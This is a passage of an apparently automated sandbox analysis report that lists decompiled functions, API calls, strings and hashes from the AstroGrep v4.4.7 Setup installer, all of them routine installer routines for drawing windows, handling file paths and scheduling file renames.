Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1e62087203bf6f43f0c9384ee7a624a046e3022ab191d81d5448d2709a656daf
Instruction ID: 75b6af85c7b4550c46e72781509667ec0f8baecc0ee27a44b040c7e6c7b1aa08
Opcode Fuzzy Hash: 1e62087203bf6f43f0c9384ee7a624a046e3022ab191d81d5448d2709a656daf
Instruction Fuzzy Hash: 1FC04875B88201BAEE218B609D4AF167BA8AB60B42F258429B211E60E0C674F410DA2D

Uniqueness

Uniqueness Score: -1.00%

Function 00403F49, Relevance: 1.5, APIs: 1, Instructions: 6
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F49(int _a4) {
				long _t2;

				_t2 = SendMessageA( *0x42e408, 0x28, _a4, 1); // executed
				return _t2;
			}

0x00403f57
0x00403f5d

APIs

SendMessageA.USER32 ref: 00403F57

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: d71ad897c2f2d45ed447b95b395c8a164bb0c93204989444b513c5694a0ce339
Instruction ID: 9ba269cb94747afcd00db45940492297b6475019a1e9eeef8f710f25602b24aa
Opcode Fuzzy Hash: d71ad897c2f2d45ed447b95b395c8a164bb0c93204989444b513c5694a0ce339
Instruction Fuzzy Hash: 71B01235684200BBFE325B00DE0DF457E62F768701F008034B300250F1C7B200A2DB29

Uniqueness

Uniqueness Score: -1.00%

Function 00405509, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405509(int _a4, CHAR* _a8) {
				int _t3;

				_t3 = GetDlgItemTextA( *0x42dbd8, _a4, _a8, 0x400); // executed
				return _t3;
			}

0x0040551c
0x00405522

APIs

GetDlgItemTextA.USER32 ref: 0040551C

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemText
String ID:
API String ID: 3367045223-0
Opcode ID: 318c761e7d03a4792b39f91a0403b49a68554c31ad0ac7f657822979c07e75a0
Instruction ID: 5bc079f376c4397dc27e91e65bfdd94062f5f07280b0cdba8df2e4a8c8164f3b
Opcode Fuzzy Hash: 318c761e7d03a4792b39f91a0403b49a68554c31ad0ac7f657822979c07e75a0
Instruction Fuzzy Hash: 13B0927A908200BFCE025B40DD04E0ABF62BB98711F21C424F395640B086726022EB0A

Uniqueness

Uniqueness Score: -1.00%

Function 004030C7, Relevance: 1.5, APIs: 1, Instructions: 6
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004030C7(long _a4) {
				long _t2;

				_t2 = SetFilePointer( *0x409018, _a4, 0, 0); // executed
				return _t2;
			}

0x004030d5
0x004030db

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00402E2D,?), ref: 004030D5

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction ID: 49fdcfdf8b1973cd13611e97ba0bfafd8618b6cb304eeeee9131019f9f046fb0
Opcode Fuzzy Hash: 0070af3e33726fe8c9f5218e9eb5d27e4edbe1e9193197dd8736a9b9f47decae
Instruction Fuzzy Hash: 03B01271644200BFDA214F00DF05F057B21A790700F10C030B748380F082712420EB4D

Uniqueness

Uniqueness Score: -1.00%

Function 00403F36, Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F36(int _a4) {
				int _t2;

				_t2 = EnableWindow( *0x429864, _a4); // executed
				return _t2;
			}

0x00403f40
0x00403f46

APIs

KiUserCallbackDispatcher.NTDLL(?,00403D13), ref: 00403F40

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 30d96cd9fc0d8ad999d68dc10700da8fc20303459ddb892013b18747b66c33f5
Instruction ID: 0d109c2b2df33cddb2fdb4737f0edb640fcb727031da007fe45ed195bb05a301
Opcode Fuzzy Hash: 30d96cd9fc0d8ad999d68dc10700da8fc20303459ddb892013b18747b66c33f5
Instruction Fuzzy Hash: 57A012314041009BCB015B10DF04C097F61A750300B054430E1044403482310820FF09

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00401000, Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00401000(struct HWND__* _a4, void* _a8, signed int _a12, void* _a16) {
				struct tagLOGBRUSH _v16;
				struct tagRECT _v32;
				struct tagPAINTSTRUCT _v96;
				struct HDC__* _t70;
				struct HBRUSH__* _t87;
				struct HFONT__* _t94;
				long _t102;
				signed int _t126;
				struct HDC__* _t128;
				intOrPtr _t130;

				if(_a8 == 0xf) {
					_t130 =  *0x42e410;
					_t70 = BeginPaint(_a4,  &_v96);
					_v16.lbStyle = _v16.lbStyle & 0x00000000;
					_a8 = _t70;
					GetClientRect(_a4,  &_v32);
					_t126 = _v32.bottom;
					_v32.bottom = _v32.bottom & 0x00000000;
					while(_v32.top < _t126) {
						_a12 = _t126 - _v32.top;
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_v16.lbColor = 0 << 0x00000008 | (( *(_t130 + 0x50) & 0x000000ff) * _a12 + ( *(_t130 + 0x54) & 0x000000ff) * _v32.top) / _t126 & 0x000000ff;
						_t87 = CreateBrushIndirect( &_v16);
						_v32.bottom = _v32.bottom + 4;
						_a16 = _t87;
						FillRect(_a8,  &_v32, _t87);
						DeleteObject(_a16);
						_v32.top = _v32.top + 4;
					}
					if( *(_t130 + 0x58) != 0xffffffff) {
						_t94 = CreateFontIndirectA( *(_t130 + 0x34));
						_a16 = _t94;
						if(_t94 != 0) {
							_t128 = _a8;
							_v32.left = 0x10;
							_v32.top = 8;
							SetBkMode(_t128, 1);
							SetTextColor(_t128,  *(_t130 + 0x58));
							_a8 = SelectObject(_t128, _a16);
							DrawTextA(_t128, "AstroGrep v4.4.7 Setup", 0xffffffff,  &_v32, 0x820);
							SelectObject(_t128, _a8);
							DeleteObject(_a16);
						}
					}
					EndPaint(_a4,  &_v96);
					return 0;
				}
				_t102 = _a16;
				if(_a8 == 0x46) {
					 *(_t102 + 0x18) =  *(_t102 + 0x18) | 0x00000010;
					 *((intOrPtr*)(_t102 + 4)) =  *0x42e408;
				}
				return DefWindowProcA(_a4, _a8, _a12, _t102);
			}

0x0040100a
0x00401039
0x00401047
0x0040104d
0x00401051
0x0040105b
0x00401061
0x00401064
0x004010f3
0x00401089
0x0040108c
0x004010a6
0x004010bd
0x004010cc
0x004010cf
0x004010d5
0x004010d9
0x004010e4
0x004010ed
0x004010ef
0x004010ef
0x00401100
0x00401105
0x0040110d
0x00401110
0x00401112
0x00401118
0x0040111f
0x00401126
0x00401130
0x00401142
0x00401156
0x00401160
0x00401165
0x00401165
0x00401110
0x0040116e
0x00000000
0x00401178
0x00401010
0x00401013
0x00401015
0x0040101f
0x0040101f
0x00000000

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectA.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,AstroGrep v4.4.7 Setup,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C
AstroGrep v4.4.7 Setup, xrefs: 00401150

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: AstroGrep v4.4.7 Setup$F
API String ID: 941294808-965371690
Opcode ID: 743dd018db8a108fdfb55826faff2fb237305abb1c3a72422579a1c27d61dc24
Instruction ID: 9af9226455e7fa8211e54ab4aa6b8deb1f4adf461e7c9b231a43246ca388c9df
Opcode Fuzzy Hash: 743dd018db8a108fdfb55826faff2fb237305abb1c3a72422579a1c27d61dc24
Instruction Fuzzy Hash: F0419B71804249AFCB058FA5CD459AFBBB9FF44310F00812AF961AA1A0C738EA51DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00405A78, Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 131
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405A78(void* __ecx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t13;
				long _t25;
				char* _t32;
				int _t38;
				void* _t39;
				intOrPtr* _t40;
				long _t43;
				CHAR* _t45;
				void* _t47;
				void* _t49;
				void* _t50;
				void* _t53;
				void* _t54;

				_t39 = __ecx;
				lstrcpyA(0x42b5f8, "NUL");
				_t45 =  *(_t53 + 0x18);
				if(_t45 == 0) {
					L3:
					_t13 = GetShortPathNameA( *(_t53 + 0x1c), 0x42b9f8, 0x400);
					if(_t13 != 0 && _t13 <= 0x400) {
						_t38 = wsprintfA(0x42b1f8, "%s=%s\r\n", 0x42b5f8, 0x42b9f8);
						_t54 = _t53 + 0x10;
						E00405D51(_t38, 0x42b5f8, 0x42b9f8, 0x42b9f8,  *((intOrPtr*)( *0x42e410 + 0x128)));
						_t13 = E004059A2(0x42b9f8, 0xc0000000, 4);
						_t49 = _t13;
						 *(_t54 + 0x18) = _t49;
						if(_t49 != 0xffffffff) {
							_t43 = GetFileSize(_t49, 0);
							_t6 = _t38 + 0xa; // 0xa
							_t47 = GlobalAlloc(0x40, _t43 + _t6);
							if(_t47 == 0 || E00405A1A(_t49, _t47, _t43) == 0) {
								L18:
								return CloseHandle(_t49);
							} else {
								if(E00405907(_t39, _t47, "[Rename]\r\n") != 0) {
									_t50 = E00405907(_t39, _t22 + 0xa, 0x4093b0);
									if(_t50 == 0) {
										_t49 =  *(_t54 + 0x18);
										L16:
										_t25 = _t43;
										L17:
										E0040595D(_t25 + _t47, 0x42b1f8, _t38);
										SetFilePointer(_t49, 0, 0, 0);
										E00405A49(_t49, _t47, _t43 + _t38);
										GlobalFree(_t47);
										goto L18;
									}
									_t40 = _t47 + _t43;
									_t32 = _t40 + _t38;
									while(_t40 > _t50) {
										 *_t32 =  *_t40;
										_t32 = _t32 - 1;
										_t40 = _t40 - 1;
									}
									_t25 = _t50 - _t47 + 1;
									_t49 =  *(_t54 + 0x18);
									goto L17;
								}
								lstrcpyA(_t47 + _t43, "[Rename]\r\n");
								_t43 = _t43 + 0xa;
								goto L16;
							}
						}
					}
				} else {
					CloseHandle(E004059A2(_t45, 0, 1));
					_t13 = GetShortPathNameA(_t45, 0x42b5f8, 0x400);
					if(_t13 != 0 && _t13 <= 0x400) {
						goto L3;
					}
				}
				return _t13;
			}

0x00405a78
0x00405a87
0x00405a8d
0x00405a9e
0x00405ac6
0x00405ad1
0x00405ad5
0x00405af5
0x00405afc
0x00405b06
0x00405b13
0x00405b18
0x00405b1d
0x00405b21
0x00405b30
0x00405b32
0x00405b3f
0x00405b43
0x00405bde
0x00000000
0x00405b59
0x00405b66
0x00405b8a
0x00405b8e
0x00405bad
0x00405bb1
0x00405bb1
0x00405bb3
0x00405bbc
0x00405bc7
0x00405bd2
0x00405bd8
0x00000000
0x00405bd8
0x00405b90
0x00405b93
0x00405b9e
0x00405b9a
0x00405b9c
0x00405b9d
0x00405b9d
0x00405ba5
0x00405ba7
0x00000000
0x00405ba7
0x00405b71
0x00405b77
0x00000000
0x00405b77
0x00405b43
0x00405b21
0x00405aa0
0x00405aab
0x00405ab4
0x00405ab8
0x00000000
0x00000000
0x00405ab8
0x00405be9

APIs

lstrcpyA.KERNEL32(0042B5F8,NUL,?,00000000,?,00000000,00405C0B,?,?), ref: 00405A87
CloseHandle.KERNEL32(00000000), ref: 00405AAB
GetShortPathNameA.KERNEL32 ref: 00405AB4

Part of subcall function 00405907: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405B64,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405917
Part of subcall function 00405907: lstrlenA.KERNEL32(00000000,?,00000000,00405B64,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405949

GetShortPathNameA.KERNEL32 ref: 00405AD1
wsprintfA.USER32 ref: 00405AEF
GetFileSize.KERNEL32(00000000,00000000,0042B9F8,C0000000,00000004,0042B9F8,?,?,?,?,?), ref: 00405B2A
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 00405B39
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405B71
SetFilePointer.KERNEL32(004093B0,00000000,00000000,00000000,00000000,0042B1F8,00000000,-0000000A,004093B0,00000000,[Rename],00000000,00000000,00000000), ref: 00405BC7
GlobalFree.KERNEL32(00000000), ref: 00405BD8
CloseHandle.KERNEL32(00000000), ref: 00405BDF

Part of subcall function 004059A2: GetFileAttributesA.KERNELBASE(00000003,00402CA6,C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE,80000000,00000003), ref: 004059A6
Part of subcall function 004059A2: CreateFileA.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 004059C8

Strings

%s=%s, xrefs: 00405AE5
[Rename], xrefs: 00405B59, 00405B6B
NUL, xrefs: 00405A81

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizewsprintf
String ID: %s=%s$NUL$[Rename]
API String ID: 222337774-4148678300
Opcode ID: bf779c124455d02b5047b2f19edd63a8f4b66244a15a9c2ac20d4885825cd380
Instruction ID: 8a014ae25a2f57f4e7f496887e8afb480c0f68f452f449b39f33bde68a4ee9be
Opcode Fuzzy Hash: bf779c124455d02b5047b2f19edd63a8f4b66244a15a9c2ac20d4885825cd380
Instruction Fuzzy Hash: 5231F370604B19ABC2206B615D49F6B3A6CDF45758F14053AFE01F62D2DA7CB800CEAD

Uniqueness

Uniqueness Score: -1.00%

Function 00405F9A, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405F9A(CHAR* _a4) {
				char _t5;
				char _t7;
				char* _t15;
				char* _t16;
				CHAR* _t17;

				_t17 = _a4;
				if( *_t17 == 0x5c && _t17[1] == 0x5c && _t17[2] == 0x3f && _t17[3] == 0x5c) {
					_t17 =  &(_t17[4]);
				}
				if( *_t17 != 0 && E0040580E(_t17) != 0) {
					_t17 =  &(_t17[2]);
				}
				_t5 =  *_t17;
				_t15 = _t17;
				_t16 = _t17;
				if(_t5 != 0) {
					do {
						if(_t5 > 0x1f &&  *((char*)(E004057CC("*?|<>/\":", _t5))) == 0) {
							E0040595D(_t16, _t17, CharNextA(_t17) - _t17);
							_t16 = CharNextA(_t16);
						}
						_t17 = CharNextA(_t17);
						_t5 =  *_t17;
					} while (_t5 != 0);
				}
				 *_t16 =  *_t16 & 0x00000000;
				while(1) {
					_t16 = CharPrevA(_t15, _t16);
					_t7 =  *_t16;
					if(_t7 != 0x20 && _t7 != 0x5c) {
						break;
					}
					 *_t16 =  *_t16 & 0x00000000;
					if(_t15 < _t16) {
						continue;
					}
					break;
				}
				return _t7;
			}

0x00405f9c
0x00405fa4
0x00405fb8
0x00405fb8
0x00405fbe
0x00405fcb
0x00405fcb
0x00405fcc
0x00405fce
0x00405fd2
0x00405fd4
0x00405fdd
0x00405fdf
0x00405ff9
0x00406001
0x00406001
0x00406006
0x00406008
0x0040600a
0x0040600e
0x0040600f
0x00406012
0x0040601a
0x0040601c
0x00406020
0x00000000
0x00000000
0x00406026
0x0040602b
0x00000000
0x00000000
0x00000000
0x0040602b
0x00406030

APIs

CharNextA.USER32(?), ref: 00405FF2
CharNextA.USER32(?), ref: 00405FFF
CharNextA.USER32(?), ref: 00406004
CharPrevA.USER32(?,?), ref: 00406014

Strings

*?|<>/":, xrefs: 00405FE2
C:\Users\user\AppData\Local\Temp\, xrefs: 00405F9B
"C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE" , xrefs: 00405FD6

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE" $*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-128202075
Opcode ID: ce3d7990729f771fdc32bb0ed1b54e2c2469674ae1568702cd8079844570f2a1
Instruction ID: 57e0f34d942670e43035b7c22e392f1a12bb14715b301cf1348a0c798ab9ef07
Opcode Fuzzy Hash: ce3d7990729f771fdc32bb0ed1b54e2c2469674ae1568702cd8079844570f2a1
Instruction Fuzzy Hash: 8B112751809B932AFB3256244C00B7BBFD88F57760F19007BE8D5722C2D67C5D529B6D

Uniqueness

Uniqueness Score: -1.00%

Function 00403F7B, Relevance: 12.1, APIs: 8, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403F7B(intOrPtr _a4, struct HDC__* _a8, struct HWND__* _a12) {
				struct tagLOGBRUSH _v16;
				long _t35;
				long _t37;
				void* _t40;
				long* _t49;

				if(_a4 + 0xfffffecd > 5) {
					L15:
					return 0;
				}
				_t49 = GetWindowLongA(_a12, 0xffffffeb);
				if(_t49 == 0) {
					goto L15;
				}
				_t35 =  *_t49;
				if((_t49[5] & 0x00000002) != 0) {
					_t35 = GetSysColor(_t35);
				}
				if((_t49[5] & 0x00000001) != 0) {
					SetTextColor(_a8, _t35);
				}
				SetBkMode(_a8, _t49[4]);
				_t37 = _t49[1];
				_v16.lbColor = _t37;
				if((_t49[5] & 0x00000008) != 0) {
					_t37 = GetSysColor(_t37);
					_v16.lbColor = _t37;
				}
				if((_t49[5] & 0x00000004) != 0) {
					SetBkColor(_a8, _t37);
				}
				if((_t49[5] & 0x00000010) != 0) {
					_v16.lbStyle = _t49[2];
					_t40 = _t49[3];
					if(_t40 != 0) {
						DeleteObject(_t40);
					}
					_t49[3] = CreateBrushIndirect( &_v16);
				}
				return _t49[3];
			}

0x00403f8d
0x00404021
0x00000000
0x00404021
0x00403f9e
0x00403fa2
0x00000000
0x00000000
0x00403fa8
0x00403fb1
0x00403fb4
0x00403fb4
0x00403fba
0x00403fc0
0x00403fc0
0x00403fcc
0x00403fd2
0x00403fd9
0x00403fdc
0x00403fdf
0x00403fe1
0x00403fe1
0x00403fe9
0x00403fef
0x00403fef
0x00403ff9
0x00403ffe
0x00404001
0x00404006
0x00404009
0x00404009
0x00404019
0x00404019
0x00000000

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00403F98
GetSysColor.USER32 ref: 00403FB4
SetTextColor.GDI32(?,00000000), ref: 00403FC0
SetBkMode.GDI32(?,?), ref: 00403FCC
GetSysColor.USER32 ref: 00403FDF
SetBkColor.GDI32(?,?), ref: 00403FEF
DeleteObject.GDI32(?), ref: 00404009
CreateBrushIndirect.GDI32(?), ref: 00404013

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction ID: f3431a0ddd372d44177634c3e6640760e16b4c563197d04d055afd4279a4596b
Opcode Fuzzy Hash: e8c91e704ef8b2f1a11ad189bfd14f771d09f9d58710722270f9777396a44b4e
Instruction Fuzzy Hash: F4219F71808705ABCB209F78DD48A4BBBF8AF41704B048A2AE996F26E0C734E904CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00403974, Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403974(void* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t6;
				intOrPtr _t11;
				signed int _t13;
				signed int _t16;
				signed short* _t18;
				signed int _t20;
				signed short* _t23;
				intOrPtr _t25;
				signed int _t26;
				intOrPtr* _t27;

				_t24 = "1033";
				_t13 = 0xffff;
				_t6 = E00405CA6(__ecx, "1033");
				while(1) {
					_t26 =  *0x42e444;
					if(_t26 == 0) {
						goto L7;
					}
					_t16 =  *( *0x42e410 + 0x64);
					_t20 =  ~_t16;
					_t18 = _t16 * _t26 +  *0x42e440;
					while(1) {
						_t18 = _t18 + _t20;
						_t26 = _t26 - 1;
						if((( *_t18 ^ _t6) & _t13) == 0) {
							break;
						}
						if(_t26 != 0) {
							continue;
						}
						goto L7;
					}
					 *0x42dbe0 = _t18[1];
					 *0x42e4a8 = _t18[3];
					_t23 =  &(_t18[5]);
					if(_t23 != 0) {
						 *0x42dbdc = _t23;
						E00405C8D(_t24,  *_t18 & 0x0000ffff);
						SetWindowTextA( *0x429848, E00405D51(_t13, _t24, _t26, "AstroGrep v4.4.7 Setup", 0xfffffffe));
						_t11 =  *0x42e42c;
						_t27 =  *0x42e428;
						if(_t11 == 0) {
							L15:
							return _t11;
						}
						_t25 = _t11;
						do {
							_t11 =  *_t27;
							if(_t11 != 0) {
								_t11 = E00405D51(_t13, _t25, _t27, _t27 + 0x18, _t11);
							}
							_t27 = _t27 + 0x418;
							_t25 = _t25 - 1;
						} while (_t25 != 0);
						goto L15;
					}
					L7:
					if(_t13 != 0xffff) {
						_t13 = 0;
					} else {
						_t13 = 0x3ff;
					}
				}
			}

0x00403978
0x0040397d
0x00403983
0x00403988
0x00403988
0x00403990
0x00000000
0x00000000
0x00403998
0x004039a0
0x004039a2
0x004039a8
0x004039a8
0x004039aa
0x004039b6
0x00000000
0x00000000
0x004039ba
0x00000000
0x00000000
0x00000000
0x004039bc
0x004039c1
0x004039ca
0x004039d0
0x004039d5
0x004039e9
0x004039f4
0x00403a0c
0x00403a12
0x00403a17
0x00403a1f
0x00403a40
0x00403a40
0x00403a40
0x00403a21
0x00403a23
0x00403a23
0x00403a27
0x00403a2e
0x00403a2e
0x00403a33
0x00403a39
0x00403a39
0x00000000
0x00403a23
0x004039d7
0x004039dc
0x004039e5
0x004039de
0x004039de
0x004039de
0x004039dc

APIs

SetWindowTextA.USER32(00000000,AstroGrep v4.4.7 Setup), ref: 00403A0C

Strings

1033, xrefs: 00403978, 00403982, 004039F3
AstroGrep v4.4.7 Setup, xrefs: 004039FB
AstroGrep v4.4.7 Setup , xrefs: 00403977
"C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE" , xrefs: 00403975
E4`, xrefs: 004039E9

Memory Dump Source

Source File: 00000004.00000002.2477543784.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2477540766.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477547820.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2477551190.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477565325.0000000000434000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477568846.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2477571695.000000000044A000.00000002.00020000.sdmp Download File

Similarity

API ID: TextWindow
String ID: "C:\Users\user\AppData\Local\Temp\ASTROGREP_SETUP_V4.4.7.EXE" $1033$AstroGrep v4.4.7 Setup$AstroGrep v4.4.7 Setup $E4`
API String ID: 530164218-3662599889
Opcode ID: c35f14d8ae607f964b1d366d12cd70842dee39e56cae11f13a59ba4c30930c7f
Instruction ID: fbf6035dbb292e76ee93bcdc762ea67a79fb5cde0254510f453a1e05a67cff09
Opcode Fuzzy Hash: c35f14d8ae607f964b1d366d12cd70842dee39e56cae11f13a59ba4c30930c7f
Instruction Fuzzy Hash: 97110871B046109BC730AF56DC409737B6CEF89319368423FE801A73D1D639AD03CAA9

Uniqueness

Uniqueness Score: -1.00%

Function 00404813, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404813(struct HWND__* _a4, intOrPtr _a8) {
				long _v8;
				signed char _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				long _v56;
				void* _v60;
				long _t15;
				unsigned int _t19;
				signed int _t25;
				struct HWND__* _t28;

				_t28 = _a4;
